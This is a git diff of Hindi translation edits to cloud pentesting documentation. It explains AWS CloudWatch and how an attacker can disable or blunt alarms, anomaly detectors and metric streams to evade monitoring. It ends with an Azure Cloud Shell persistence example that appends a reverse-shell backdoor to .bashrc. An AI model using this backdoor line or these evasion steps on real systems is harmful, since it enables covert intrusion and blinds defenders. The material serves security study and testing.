+- **उदाहरण**: EC2 इंस्टेंस के लिए, Dimensions में InstanceId, InstanceType, और AvailabilityZone शामिल हो सकते हैं।
### Statistics
-Statistics मेट्रिक डेटा पर किए गए गणितीय गणनाएँ हैं जो इसे समय के साथ संक्षिप्त करती हैं। सामान्य सांख्यिकी में औसत, योग, न्यूनतम, अधिकतम, और नमूना गणना शामिल हैं।
+Statistics मेट्रिक डेटा पर किए गए गणितीय गणनाएँ हैं जो इसे समय के साथ संक्षिप्त करती हैं। सामान्य Statistics में Average, Sum, Minimum, Maximum, और SampleCount शामिल हैं।
- **उदाहरण**: एक घंटे की अवधि में CPU उपयोग का औसत निकालना।
### Units
-Units मेट्रिक से जुड़े मापने के प्रकार होते हैं। Units मेट्रिक डेटा को संदर्भ और अर्थ प्रदान करने में मदद करते हैं। सामान्य यूनिट्स में प्रतिशत, बाइट्स, सेकंड, गणना शामिल हैं।
+Units मेट्रिक से जुड़े मापने के प्रकार होते हैं। Units मेट्रिक डेटा को संदर्भ और अर्थ प्रदान करने में मदद करते हैं। सामान्य Units में Percent, Bytes, Seconds, Count शामिल हैं।
-- **उदाहरण**: CPUUtilization प्रतिशत में मापा जा सकता है, जबकि NetworkIn बाइट्स में मापा जा सकता है।
+- **उदाहरण**: CPUUtilization को Percent में मापा जा सकता है, जबकि NetworkIn को Bytes में मापा जा सकता है।
## CloudWatch Features
### Dashboard
-**CloudWatch डैशबोर्ड** आपके AWS CloudWatch मेट्रिक्स के अनुकूलन योग्य **दृश्यों** को प्रदान करते हैं। डेटा को दृश्य बनाने और एकल दृश्य में संसाधनों की निगरानी करने के लिए डैशबोर्ड बनाने और कॉन्फ़िगर करना संभव है, विभिन्न AWS सेवाओं से विभिन्न मेट्रिक्स को संयोजित करना।
+**CloudWatch Dashboards** आपके AWS CloudWatch मेट्रिक्स के अनुकूलन योग्य **दृश्यों** को प्रदान करते हैं। डेटा को दृश्य में देखने और संसाधनों की निगरानी करने के लिए विभिन्न AWS सेवाओं से विभिन्न मेट्रिक्स को संयोजित करते हुए डैशबोर्ड बनाने और कॉन्फ़िगर करना संभव है।
**मुख्य विशेषताएँ**:
-- **विजेट्स**: डैशबोर्ड के निर्माण खंड, जिसमें ग्राफ़, पाठ, अलार्म, और अधिक शामिल हैं।
+- **Widgets**: डैशबोर्ड के निर्माण खंड, जिसमें ग्राफ़, पाठ, अलार्म, और अधिक शामिल हैं।
- **अनुकूलन**: लेआउट और सामग्री को विशिष्ट निगरानी आवश्यकताओं के अनुसार अनुकूलित किया जा सकता है।
**उदाहरण उपयोग मामला**:
@@ -66,38 +66,38 @@ Units मेट्रिक से जुड़े मापने के प्
### Metric Stream and Metric Data
-**Metric Streams** AWS CloudWatch में आपको लगभग वास्तविक समय में CloudWatch मेट्रिक्स को आपके द्वारा चुने गए गंतव्य पर निरंतर स्ट्रीम करने की अनुमति देते हैं। यह उन्नत निगरानी, विश्लेषण, और AWS के बाहर के उपकरणों का उपयोग करके कस्टम डैशबोर्ड के लिए विशेष रूप से उपयोगी है।
+**Metric Streams** AWS CloudWatch में आपको लगभग वास्तविक समय में अपने पसंद के गंतव्य पर CloudWatch मेट्रिक्स को निरंतर स्ट्रीम करने की अनुमति देते हैं। यह उन्नत निगरानी, विश्लेषण, और AWS के बाहर के उपकरणों का उपयोग करके कस्टम डैशबोर्ड के लिए विशेष रूप से उपयोगी है।
-**Metric Data** Metric Streams के भीतर उन वास्तविक मापों या डेटा बिंदुओं को संदर्भित करता है जो स्ट्रीम किए जा रहे हैं। ये डेटा बिंदु विभिन्न मेट्रिक्स जैसे CPU उपयोग, मेमोरी उपयोग, आदि का प्रतिनिधित्व करते हैं, AWS संसाधनों के लिए।
+**Metric Data** Metric Streams के भीतर उन वास्तविक मापों या डेटा बिंदुओं को संदर्भित करता है जो स्ट्रीम किए जा रहे हैं। ये डेटा बिंदु CPU उपयोग, मेमोरी उपयोग, आदि जैसे विभिन्न मेट्रिक्स का प्रतिनिधित्व करते हैं।
**उदाहरण उपयोग मामला**:
- उन्नत विश्लेषण के लिए एक तृतीय-पक्ष निगरानी सेवा को वास्तविक समय के मेट्रिक्स भेजना।
-- दीर्घकालिक भंडारण और अनुपालन के लिए एक Amazon S3 बकेट में मेट्रिक्स का संग्रहण।
+- दीर्घकालिक भंडारण और अनुपालन के लिए Amazon S3 बकेट में मेट्रिक्स का संग्रहण करना।
### Alarm
-**CloudWatch अलार्म** आपके मेट्रिक्स की निगरानी करते हैं और पूर्वनिर्धारित थ्रेशोल्ड के आधार पर क्रियाएँ करते हैं। जब एक मेट्रिक एक थ्रेशोल्ड को पार करता है, तो अलार्म एक या एक से अधिक क्रियाएँ कर सकता है जैसे कि SNS के माध्यम से सूचनाएँ भेजना, ऑटो-स्केलिंग नीति को सक्रिय करना, या AWS Lambda फ़ंक्शन चलाना।
+**CloudWatch Alarms** आपकी मेट्रिक्स की निगरानी करते हैं और पूर्वनिर्धारित थ्रेशोल्ड के आधार पर क्रियाएँ करते हैं। जब कोई मेट्रिक एक थ्रेशोल्ड को पार करता है, तो अलार्म एक या एक से अधिक क्रियाएँ कर सकता है जैसे कि SNS के माध्यम से सूचनाएँ भेजना, ऑटो-स्केलिंग नीति को सक्रिय करना, या AWS Lambda फ़ंक्शन चलाना।
**मुख्य घटक**:
-- **थ्रेशोल्ड**: वह मान जिस पर अलार्म सक्रिय होता है।
-- **मूल्यांकन अवधि**: वह अवधि जिसमें डेटा का मूल्यांकन किया जाता है।
-- **अलार्म के लिए डेटा बिंदु**: अलार्म को सक्रिय करने के लिए आवश्यक पहुंची थ्रेशोल्ड के साथ अवधि की संख्या।
-- **क्रियाएँ**: जब अलार्म स्थिति सक्रिय होती है तो क्या होता है (जैसे, SNS के माध्यम से सूचित करना)।
+- **Threshold**: वह मान जिस पर अलार्म सक्रिय होता है।
+- **Evaluation Periods**: वह अवधि जिसमें डेटा का मूल्यांकन किया जाता है।
+- **Datapoints to Alarm**: अलार्म को सक्रिय करने के लिए आवश्यक पहुंची थ्रेशोल्ड के साथ अवधि की संख्या।
+- **Actions**: जब अलार्म स्थिति सक्रिय होती है तो क्या होता है (जैसे, SNS के माध्यम से सूचित करना)।
**उदाहरण उपयोग मामला**:
-- EC2 इंस्टेंस CPU उपयोग की निगरानी करना और यदि यह 80% के लिए 5 लगातार मिनटों के लिए पार करता है तो SNS के माध्यम से एक सूचना भेजना।
+- EC2 इंस्टेंस CPU उपयोग की निगरानी करना और यदि यह 80% के लिए 5 लगातार मिनटों तक बढ़ता है तो SNS के माध्यम से एक सूचना भेजना।
### Anomaly Detectors
-**Anomaly Detectors** मशीन लर्निंग का उपयोग करके आपके मेट्रिक्स में स्वचालित रूप से विसंगतियों का पता लगाते हैं। आप किसी भी CloudWatch मेट्रिक पर विसंगति पहचान लागू कर सकते हैं ताकि सामान्य पैटर्न से विचलन की पहचान की जा सके जो समस्याओं का संकेत दे सकता है।
+**Anomaly Detectors** मशीन लर्निंग का उपयोग करके आपकी मेट्रिक्स में स्वचालित रूप से विसंगतियों का पता लगाते हैं। आप किसी भी CloudWatch मेट्रिक पर विसंगति पहचान लागू कर सकते हैं ताकि सामान्य पैटर्न से विचलन की पहचान की जा सके जो समस्याओं का संकेत दे सकता है।
**मुख्य घटक**:
-- **मॉडल प्रशिक्षण**: CloudWatch ऐतिहासिक डेटा का उपयोग करके एक मॉडल को प्रशिक्षित करता है और यह स्थापित करता है कि सामान्य व्यवहार कैसा दिखता है।
-- **विसंगति पहचान बैंड**: एक मेट्रिक के लिए अपेक्षित मानों की सीमा का दृश्य प्रतिनिधित्व।
+- **Model Training**: CloudWatch ऐतिहासिक डेटा का उपयोग करके एक मॉडल को प्रशिक्षित करता है और यह स्थापित करता है कि सामान्य व्यवहार कैसा दिखता है।
+- **Anomaly Detection Band**: एक मेट्रिक के लिए अपेक्षित मानों की सीमा का दृश्य प्रतिनिधित्व।
**उदाहरण उपयोग मामला**:
@@ -107,7 +107,7 @@ Units मेट्रिक से जुड़े मापने के प्
**Insight Rules** आपको अपने मेट्रिक डेटा में रुझानों की पहचान करने, स्पाइक्स का पता लगाने, या अन्य रुचि के पैटर्न को पहचानने की अनुमति देते हैं, **शक्तिशाली गणितीय अभिव्यक्तियों** का उपयोग करके उन स्थितियों को परिभाषित करते हैं जिनके तहत क्रियाएँ की जानी चाहिए। ये नियम आपको अपने संसाधन प्रदर्शन और उपयोग में विसंगतियों या असामान्य व्यवहार की पहचान करने में मदद कर सकते हैं।
-**Managed Insight Rules** पूर्व-निर्धारित **insight rules हैं जो AWS द्वारा प्रदान किए जाते हैं**। ये विशिष्ट AWS सेवाओं या सामान्य उपयोग मामलों की निगरानी के लिए डिज़ाइन किए गए हैं और बिना विस्तृत कॉन्फ़िगरेशन की आवश्यकता के सक्षम किए जा सकते हैं।
+**Managed Insight Rules** पूर्व-निर्धारित **insight rules हैं जो AWS द्वारा प्रदान किए जाते हैं**। इन्हें विशिष्ट AWS सेवाओं या सामान्य उपयोग मामलों की निगरानी के लिए डिज़ाइन किया गया है और इन्हें विस्तृत कॉन्फ़िगरेशन की आवश्यकता के बिना सक्षम किया जा सकता है।
**उदाहरण उपयोग मामला**:
@@ -117,23 +117,23 @@ Units मेट्रिक से जुड़े मापने के प्
अनुप्रयोगों और सिस्टम से **लॉग को एकत्रित और निगरानी** करने की अनुमति देता है **AWS सेवाओं** (जिसमें CloudTrail शामिल है) और **ऐप्स/सिस्टम** से (**CloudWatch एजेंट** को एक होस्ट पर स्थापित किया जा सकता है)। लॉग को **अनिश्चितकालीन** (लॉग समूह सेटिंग्स के आधार पर) संग्रहीत किया जा सकता है और निर्यात किया जा सकता है।
-**घटक**:
-
-| **लॉग समूह** | एक **लॉग स्ट्रीम का संग्रह** जो समान रिटेंशन, निगरानी, और एक्सेस नियंत्रण सेटिंग्स साझा करता है |
+**तत्व**:
+| Term | Definition |
| ------------------------ | ---------------------------------------------------------------------------------------------------------------------------------------------------------- |
-| **लॉग स्ट्रीम** | एक **लॉग इवेंट्स** का अनुक्रम जो **समान स्रोत** साझा करता है |
-| **सदस्यता फ़िल्टर** | एक **फ़िल्टर पैटर्न परिभाषित करें जो घटनाओं से मेल खाता है** एक विशेष लॉग समूह में, उन्हें Kinesis डेटा फायरहोज़ स्ट्रीम, Kinesis स्ट्रीम, या एक Lambda फ़ंक्शन पर भेजें |
+| **Log Group** | एक **लॉग स्ट्रीम का संग्रह** जो समान रिटेंशन, निगरानी, और एक्सेस नियंत्रण सेटिंग्स साझा करता है |
+| **Log Stream** | एक **लॉग इवेंट्स** का अनुक्रम जो **समान स्रोत** साझा करता है |
+| **Subscription Filters** | एक **फ़िल्टर पैटर्न परिभाषित करें जो एक विशेष लॉग समूह में घटनाओं से मेल खाता है**, उन्हें Kinesis Data Firehose स्ट्रीम, Kinesis स्ट्रीम, या एक Lambda फ़ंक्शन पर भेजें |
### CloudWatch Monitoring & Events
-CloudWatch **बुनियादी** हर 5 मिनट में डेटा को **संक्षिप्त** करता है ( **विस्तृत** एक मिनट में ऐसा करता है)। संक्षेपण के बाद, यह **अलार्म के थ्रेशोल्ड की जांच करता है** यदि इसे एक को सक्रिय करने की आवश्यकता है।\
+CloudWatch **बुनियादी** डेटा को **हर 5 मिनट** में एकत्र करता है ( **विस्तृत** एक **हर 1 मिनट** में करता है)। एकत्रण के बाद, यह **अलार्म के थ्रेशोल्ड की जांच करता है** यदि इसे एक को सक्रिय करने की आवश्यकता है।\
इस मामले में, CloudWatch एक इवेंट भेजने और कुछ स्वचालित क्रियाएँ करने के लिए तैयार हो सकता है (AWS Lambda फ़ंक्शन, SNS विषय, SQS कतारें, Kinesis स्ट्रीम)
### Agent Installation
-आप अपने मशीनों/कंटेनरों के अंदर एजेंट स्थापित कर सकते हैं ताकि स्वचालित रूप से लॉग को CloudWatch पर वापस भेजा जा सके।
+आप अपने मशीनों/कंटेनरों के अंदर एजेंट स्थापित कर सकते हैं ताकि स्वचालित रूप से लॉग को CloudWatch में वापस भेजा जा सके।
-- **एक** **भूमिका** बनाएं और **इंस्टेंस** से **जोड़ें** जिसमें CloudWatch को इंस्टेंस से डेटा एकत्र करने के लिए अनुमति देने वाले अनुमतियाँ हों, इसके अलावा AWS सिस्टम प्रबंधक SSM के साथ बातचीत करने के लिए (CloudWatchAgentAdminPolicy & AmazonEC2RoleforSSM)
+- **एक** **भूमिका** बनाएं और **इंस्टेंस** से इसे संलग्न करें जिसमें CloudWatch को इंस्टेंस से डेटा एकत्र करने की अनुमति देने वाले अनुमतियाँ हों, इसके अलावा AWS सिस्टम प्रबंधक SSM के साथ बातचीत करने की अनुमति हो (CloudWatchAgentAdminPolicy & AmazonEC2RoleforSSM)
- **एजेंट** को EC2 इंस्टेंस पर **डाउनलोड** और **स्थापित** करें ([https://s3.amazonaws.com/amazoncloudwatch-agent/linux/amd64/latest/AmazonCloudWatchAgent.zip](https://s3.amazonaws.com/amazoncloudwatch-agent/linux/amd64/latest/AmazonCloudWatchAgent.zip)). आप इसे EC2 के अंदर से डाउनलोड कर सकते हैं या AWS सिस्टम प्रबंधक का उपयोग करके स्वचालित रूप से स्थापित कर सकते हैं, पैकेज AWS-ConfigureAWSPackage का चयन करके।
- CloudWatch एजेंट को **कॉन्फ़िगर** और **शुरू करें**।
@@ -218,16 +218,16 @@ aws events list-event-buses
इस अनुमति के साथ एक हमलावर एक संगठन की निगरानी और अलर्टिंग अवसंरचना को महत्वपूर्ण रूप से कमजोर कर सकता है। मौजूदा अलार्मों को हटाकर, एक हमलावर महत्वपूर्ण प्रदर्शन मुद्दों, सुरक्षा उल्लंघनों, या संचालन विफलताओं के बारे में प्रशासकों को सूचित करने वाले महत्वपूर्ण अलर्ट को निष्क्रिय कर सकता है। इसके अलावा, मेट्रिक अलार्म बनाने या संशोधित करके, हमलावर प्रशासकों को गलत अलर्ट के साथ भटका सकता है या वैध अलार्मों को चुप करा सकता है, प्रभावी रूप से दुर्भावनापूर्ण गतिविधियों को छिपा सकता है और वास्तविक घटनाओं के लिए समय पर प्रतिक्रियाओं को रोक सकता है।
-इसके अलावा, **`cloudwatch:PutCompositeAlarm`** अनुमति के साथ, एक हमलावर समग्र अलार्मों का एक लूप या चक्र बनाने में सक्षम होगा, जहां समग्र अलार्म A समग्र अलार्म B पर निर्भर करता है, और समग्र अलार्म B भी समग्र अलार्म A पर निर्भर करता है। इस परिदृश्य में, चक्र का हिस्सा होने वाले किसी भी समग्र अलार्म को हटाना संभव नहीं है क्योंकि हमेशा एक समग्र अलार्म होता है जो उस अलार्म पर निर्भर करता है जिसे आप हटाना चाहते हैं।
+इसके अतिरिक्त, **`cloudwatch:PutCompositeAlarm`** अनुमति के साथ, एक हमलावर समग्र अलार्मों का एक लूप या चक्र बनाने में सक्षम होगा, जहां समग्र अलार्म A समग्र अलार्म B पर निर्भर करता है, और समग्र अलार्म B भी समग्र अलार्म A पर निर्भर करता है। इस परिदृश्य में, चक्र का हिस्सा होने वाले किसी भी समग्र अलार्म को हटाना संभव नहीं है क्योंकि हमेशा एक समग्र अलार्म होता है जो उस अलार्म पर निर्भर करता है जिसे आप हटाना चाहते हैं।
```bash
aws cloudwatch put-metric-alarm --cli-input-json | --alarm-name --comparison-operator --evaluation-periods [--datapoints-to-alarm ] [--threshold ] [--alarm-description ] [--alarm-actions ] [--metric-name ] [--namespace ] [--statistic ] [--dimensions ] [--period ]
aws cloudwatch delete-alarms --alarm-names
aws cloudwatch put-composite-alarm --alarm-name --alarm-rule [--no-actions-enabled | --actions-enabled [--alarm-actions ] [--insufficient-data-actions ] [--ok-actions ] ]
```
-उदाहरण दिखाता है कि एक मैट्रिक अलार्म को कैसे अप्रभावी बनाया जा सकता है:
+उदाहरण दिखाता है कि एक मैट्रिक अलार्म को अप्रभावी कैसे बनाया जाए:
-- यह मैट्रिक अलार्म एक विशिष्ट EC2 इंस्टेंस की औसत CPU उपयोगिता की निगरानी करता है, हर 300 सेकंड में मैट्रिक का मूल्यांकन करता है और 6 मूल्यांकन अवधियों की आवश्यकता होती है (कुल 30 मिनट)। यदि औसत CPU उपयोगिता इन अवधियों में से कम से कम 4 के लिए 60% से अधिक हो जाती है, तो अलार्म ट्रिगर होगा और निर्दिष्ट SNS विषय को एक सूचना भेजेगा।
-- थ्रेशोल्ड को 99% से अधिक करने, पीरियड को 10 सेकंड सेट करने, मूल्यांकन अवधियों को 8640 (क्योंकि 10 सेकंड के 8640 अवधियों का मतलब 1 दिन है) और डाटापॉइंट्स को अलार्म के लिए 8640 करने से, CPU उपयोगिता को पूरे 24 घंटे की अवधि में हर 10 सेकंड में 99% से अधिक होना आवश्यक होगा ताकि अलार्म ट्रिगर हो सके।
+- यह मैट्रिक अलार्म एक विशिष्ट EC2 इंस्टेंस की औसत CPU उपयोगिता की निगरानी करता है, हर 300 सेकंड में मैट्रिक का मूल्यांकन करता है और 6 मूल्यांकन अवधियों (कुल 30 मिनट) की आवश्यकता होती है। यदि औसत CPU उपयोगिता इन अवधियों में से कम से कम 4 के लिए 60% से अधिक हो जाती है, तो अलार्म ट्रिगर होगा और निर्दिष्ट SNS विषय को एक सूचना भेजेगा।
+- थ्रेशोल्ड को 99% से अधिक, पीरियड को 10 सेकंड, मूल्यांकन अवधियों को 8640 (क्योंकि 10 सेकंड के 8640 अवधियों का मतलब 1 दिन है), और डाटापॉइंट्स को अलार्म के लिए 8640 सेट करके, CPU उपयोगिता को पूरे 24 घंटे की अवधि में हर 10 सेकंड में 99% से अधिक होना आवश्यक होगा ताकि अलार्म ट्रिगर हो सके।
{{#tabs }}
{{#tab name="Original Metric Alarm" }}
@@ -254,7 +254,7 @@ aws cloudwatch put-composite-alarm --alarm-name --alarm-rule [--
```
{{#endtab }}
-{{#tab name="संशोधित मैट्रिक अलार्म" }}
+{{#tab name="Modified Metric Alarm" }}
```json
{
"Namespace": "AWS/EC2",
@@ -285,24 +285,24 @@ aws cloudwatch put-composite-alarm --alarm-name --alarm-rule [--
अलार्म क्रियाओं को हटाकर, हमलावर महत्वपूर्ण अलर्ट और स्वचालित प्रतिक्रियाओं को रोक सकता है जब अलार्म स्थिति प्राप्त होती है, जैसे कि प्रशासकों को सूचित करना या ऑटो-स्केलिंग गतिविधियों को सक्रिय करना। अनुचित रूप से अलार्म क्रियाओं को सक्षम या पुनः सक्षम करना भी अप्रत्याशित व्यवहार का कारण बन सकता है, या तो पहले से अक्षम की गई क्रियाओं को फिर से सक्रिय करके या यह संशोधित करके कि कौन सी क्रियाएँ सक्रिय होती हैं, संभावित रूप से घटना प्रतिक्रिया में भ्रम और गलत दिशा का कारण बनता है।
-इसके अलावा, एक हमलावर जिसके पास अनुमति है, अलार्म स्थितियों में हेरफेर कर सकता है, झूठे अलार्म बनाने में सक्षम हो सकता है ताकि प्रशासकों को विचलित और भ्रमित किया जा सके, या चल रही दुर्भावनापूर्ण गतिविधियों या महत्वपूर्ण प्रणाली विफलताओं को छिपाने के लिए वास्तविक अलार्मों को चुप करा सके।
+इसके अतिरिक्त, एक हमलावर जिसके पास अनुमति है, अलार्म स्थितियों में हेरफेर कर सकता है, झूठे अलार्म बनाने में सक्षम हो सकता है ताकि प्रशासकों को विचलित और भ्रमित किया जा सके, या चल रही दुर्भावनापूर्ण गतिविधियों या महत्वपूर्ण प्रणाली विफलताओं को छिपाने के लिए वास्तविक अलार्म को चुप करा सके।
-- यदि आप **`SetAlarmState`** का उपयोग एक समग्र अलार्म पर करते हैं, तो समग्र अलार्म को इसकी वास्तविक स्थिति पर लौटने की गारंटी नहीं है। यह केवल तब अपनी वास्तविक स्थिति पर लौटता है जब इसके किसी भी बच्चे अलार्म की स्थिति बदलती है। यदि आप इसकी कॉन्फ़िगरेशन को अपडेट करते हैं तो इसे फिर से मूल्यांकन किया जाता है।
+- यदि आप **`SetAlarmState`** का उपयोग एक समग्र अलार्म पर करते हैं, तो समग्र अलार्म को इसकी वास्तविक स्थिति पर लौटने की गारंटी नहीं है। यह केवल तब अपनी वास्तविक स्थिति पर लौटता है जब इसके किसी भी बच्चे अलार्म की स्थिति बदलती है। यदि आप इसकी कॉन्फ़िगरेशन को अपडेट करते हैं तो इसे फिर से मूल्यांकन भी किया जाता है।
```bash
aws cloudwatch disable-alarm-actions --alarm-names
aws cloudwatch enable-alarm-actions --alarm-names
aws cloudwatch set-alarm-state --alarm-name --state-value --state-reason [--state-reason-data ]
```
-**संभावित प्रभाव**: महत्वपूर्ण घटनाओं के लिए सूचनाओं की कमी, संभावित अप्रयुक्त मुद्दे, गलत अलर्ट, वास्तविक अलर्ट को दबाना और वास्तविक घटनाओं की संभावित पहचान को चूकना।
+**संभावित प्रभाव**: महत्वपूर्ण घटनाओं के लिए सूचनाओं की कमी, संभावित अप्रयुक्त मुद्दे, झूठी चेतावनियाँ, वास्तविक चेतावनियों को दबाना और वास्तविक घटनाओं की संभावित पहचान को चूकना।
### **`cloudwatch:DeleteAnomalyDetector`, `cloudwatch:PutAnomalyDetector`**
-एक हमलावर मेट्रिक डेटा में असामान्य पैटर्न या विसंगतियों का पता लगाने और प्रतिक्रिया देने की क्षमता को कमजोर कर सकेगा। मौजूदा विसंगति डिटेक्टरों को हटाकर, एक हमलावर महत्वपूर्ण अलर्टिंग तंत्र को निष्क्रिय कर सकता है; और उन्हें बनाने या संशोधित करके, यह निगरानी को भटकाने या अभिभूत करने के लिए गलत कॉन्फ़िगर या गलत सकारात्मक बनाने में सक्षम होगा।
+एक हमलावर मेट्रिक डेटा में असामान्य पैटर्न या विसंगतियों का पता लगाने और प्रतिक्रिया देने की क्षमता को कमजोर कर सकता है। मौजूदा विसंगति डिटेक्टर्स को हटाकर, एक हमलावर महत्वपूर्ण अलर्टिंग तंत्र को निष्क्रिय कर सकता है; और उन्हें बनाने या संशोधित करके, यह निगरानी को भटकाने या अभिभूत करने के लिए गलत कॉन्फ़िगर या झूठे सकारात्मक बना सकता है।
```bash
aws cloudwatch delete-anomaly-detector [--cli-input-json | --namespace --metric-name --dimensions --stat ]
aws cloudwatch put-anomaly-detector [--cli-input-json | --namespace --metric-name --dimensions --stat --configuration --metric-characteristics ]
```
-निम्नलिखित उदाहरण दिखाता है कि एक मैट्रिक विसंगति डिटेक्टर को अप्रभावी कैसे बनाया जाए। यह मैट्रिक विसंगति डिटेक्टर एक विशिष्ट EC2 इंस्टेंस के औसत CPU उपयोग की निगरानी करता है, और बस "ExcludedTimeRanges" पैरामीटर को वांछित समय सीमा के साथ जोड़ने से यह सुनिश्चित करने के लिए पर्याप्त होगा कि विसंगति डिटेक्टर उस अवधि के दौरान किसी भी प्रासंगिक डेटा का विश्लेषण या अलर्ट नहीं करता है।
+निम्नलिखित उदाहरण दिखाता है कि एक मैट्रिक विसंगति डिटेक्टर को कैसे अप्रभावी बनाया जाए। यह मैट्रिक विसंगति डिटेक्टर एक विशिष्ट EC2 इंस्टेंस के औसत CPU उपयोग की निगरानी करता है, और बस “ExcludedTimeRanges” पैरामीटर को वांछित समय सीमा के साथ जोड़ने से यह सुनिश्चित करने के लिए पर्याप्त होगा कि विसंगति डिटेक्टर उस अवधि के दौरान किसी भी प्रासंगिक डेटा का विश्लेषण या अलर्ट नहीं करता है।
{{#tabs }}
{{#tab name="Original Metric Anomaly Detector" }}
@@ -323,7 +323,7 @@ aws cloudwatch put-anomaly-detector [--cli-input-json | --namespace | --namespace
aws cloudwatch put-dashboard --dashboard-name --dashboard-body
@@ -374,22 +374,22 @@ aws cloudwatch put-managed-insight-rules --managed-rules
### **`cloudwatch:DisableInsightRules`, `cloudwatch:EnableInsightRules`**
-महत्वपूर्ण अंतर्दृष्टि नियमों को निष्क्रिय करके, एक हमलावर संगठन को प्रमुख प्रदर्शन और सुरक्षा मैट्रिक्स के प्रति प्रभावी रूप से अंधा कर सकता है। इसके विपरीत, भ्रामक नियमों को सक्षम या कॉन्फ़िगर करके, गलत डेटा उत्पन्न करना, शोर बनाना, या दुर्भावनापूर्ण गतिविधि को छिपाना संभव हो सकता है।
+महत्वपूर्ण अंतर्दृष्टि नियमों को निष्क्रिय करके, एक हमलावर संगठन को प्रमुख प्रदर्शन और सुरक्षा मैट्रिक्स के प्रति अंधा कर सकता है। इसके विपरीत, भ्रामक नियमों को सक्षम या कॉन्फ़िगर करके, गलत डेटा उत्पन्न करना, शोर बनाना, या दुर्भावनापूर्ण गतिविधि को छिपाना संभव हो सकता है।
```bash
aws cloudwatch disable-insight-rules --rule-names
aws cloudwatch enable-insight-rules --rule-names
```
-**संभावित प्रभाव**: संचालन टीम के बीच भ्रम, वास्तविक मुद्दों के प्रति देरी से प्रतिक्रिया और झूठी चेतावनियों के आधार पर अनावश्यक कार्रवाई।
+**संभावित प्रभाव**: संचालन टीम के बीच भ्रम, जिसके परिणामस्वरूप वास्तविक मुद्दों के लिए देरी से प्रतिक्रिया और झूठी चेतावनियों के आधार पर अनावश्यक कार्रवाई।
### **`cloudwatch:DeleteMetricStream` , `cloudwatch:PutMetricStream` , `cloudwatch:PutMetricData`**
एक हमलावर जिसके पास **`cloudwatch:DeleteMetricStream`** , **`cloudwatch:PutMetricStream`** अनुमतियाँ हैं, वह मेट्रिक डेटा स्ट्रीम बनाने और हटाने में सक्षम होगा, जिससे सुरक्षा, निगरानी और डेटा की अखंडता प्रभावित होगी:
- **दुष्ट स्ट्रीम बनाना**: संवेदनशील डेटा को अनधिकृत स्थलों पर भेजने के लिए मेट्रिक स्ट्रीम बनाना।
-- **संसाधन हेरफेर**: अत्यधिक डेटा के साथ नए मेट्रिक स्ट्रीम बनाने से बहुत अधिक शोर उत्पन्न हो सकता है, जिससे गलत चेतावनियाँ उत्पन्न होती हैं, और वास्तविक मुद्दों को छिपा दिया जाता है।
-- **निगरानी में विघटन**: मेट्रिक स्ट्रीम को हटाने से, हमलावर निरंतर निगरानी डेटा के प्रवाह को बाधित कर देंगे। इस तरह, उनकी दुष्ट गतिविधियाँ प्रभावी रूप से छिपी रहेंगी।
+- **संसाधन हेरफेर**: अत्यधिक डेटा के साथ नए मेट्रिक स्ट्रीम बनाने से बहुत अधिक शोर उत्पन्न हो सकता है, जिससे गलत अलर्ट उत्पन्न होते हैं, और वास्तविक मुद्दों को छिपा दिया जाता है।
+- **निगरानी में विघटन**: मेट्रिक स्ट्रीम को हटाने से, हमलावर निगरानी डेटा के निरंतर प्रवाह को बाधित करेंगे। इस तरह, उनकी दुष्ट गतिविधियाँ प्रभावी रूप से छिपी रहेंगी।
-इसी तरह, **`cloudwatch:PutMetricData`** अनुमति के साथ, मेट्रिक स्ट्रीम में डेटा जोड़ना संभव होगा। इससे DoS हो सकता है क्योंकि जो गलत डेटा जोड़ा गया है, उसकी मात्रा के कारण यह पूरी तरह से बेकार हो जाएगा।
+इसी तरह, **`cloudwatch:PutMetricData`** अनुमति के साथ, एक मेट्रिक स्ट्रीम में डेटा जोड़ना संभव होगा। इससे DoS हो सकता है क्योंकि जो गलत डेटा जोड़ा गया है, उसकी मात्रा इसे पूरी तरह से बेकार बना देती है।
```bash
aws cloudwatch delete-metric-stream --name
aws cloudwatch put-metric-stream --name [--include-filters ] [--exclude-filters ] --firehose-arn --role-arn --output-format
@@ -412,7 +412,7 @@ aws cloudwatch start-metric-streams --names
### **`cloudwatch:TagResource`, `cloudwatch:UntagResource`**
-एक हमलावर CloudWatch संसाधनों (वर्तमान में केवल अलार्म और Contributor Insights नियम) से टैग जोड़ने, संशोधित करने या हटाने में सक्षम होगा। इससे आपके संगठन की टैग के आधार पर पहुंच नियंत्रण नीतियों में बाधा आ सकती है।
+एक हमलावर CloudWatch संसाधनों (वर्तमान में केवल अलार्म और Contributor Insights नियम) से टैग जोड़ने, संशोधित करने या हटाने में सक्षम होगा। इससे आपके संगठन की टैग के आधार पर पहुँच नियंत्रण नीतियों में बाधा आ सकती है।
```bash
aws cloudwatch tag-resource --resource-arn --tags
aws cloudwatch untag-resource --resource-arn --tag-keys
diff --git a/src/pentesting-cloud/azure-security/az-persistence/az-cloud-shell-persistence.md b/src/pentesting-cloud/azure-security/az-persistence/az-cloud-shell-persistence.md
index 4d0ee128d..a3e5a8b81 100644
--- a/src/pentesting-cloud/azure-security/az-persistence/az-cloud-shell-persistence.md
+++ b/src/pentesting-cloud/azure-security/az-persistence/az-cloud-shell-persistence.md
@@ -4,27 +4,19 @@
## Cloud Shell Persistence
-Azure Cloud Shell कमांड-लाइन एक्सेस प्रदान करता है ताकि Azure संसाधनों को प्रबंधित किया जा सके, जिसमें स्थायी भंडारण और स्वचालित प्रमाणीकरण शामिल है। हमलावर इसका लाभ उठाकर स्थायी होम डायरेक्टरी में बैकडोर रख सकते हैं:
+Azure Cloud Shell कमांड-लाइन एक्सेस प्रदान करता है ताकि Azure संसाधनों को प्रबंधित किया जा सके, जिसमें स्थायी स्टोरेज और स्वचालित प्रमाणीकरण शामिल है। हमलावर इसका लाभ उठाकर स्थायी होम डायरेक्टरी में बैकडोर रख सकते हैं:
* **Persistent Storage**: Azure Cloud Shell की होम डायरेक्टरी एक Azure फ़ाइल शेयर पर माउंट की गई है और सत्र समाप्त होने के बाद भी बरकरार रहती है।
* **Startup Scripts**: .bashrc जैसे फ़ाइलें प्रत्येक सत्र की शुरुआत में स्वचालित रूप से निष्पादित होती हैं, जिससे क्लाउड शेल शुरू होने पर स्थायी निष्पादन की अनुमति मिलती है।
Example backdoor in .bashrc:
-
-{% code overflow="wrap" %}
```bash
echo '(nohup /usr/bin/env -i /bin/bash 2>/dev/null -norc -noprofile >& /dev/tcp/$CCSERVER/443 0>&1 &)' >> $HOME/.bashrc
```
-{% endcode %}
-
यह बैकडोर उपयोगकर्ता द्वारा क्लाउड शेल समाप्त होने के 5 मिनट बाद भी कमांड निष्पादित कर सकता है।
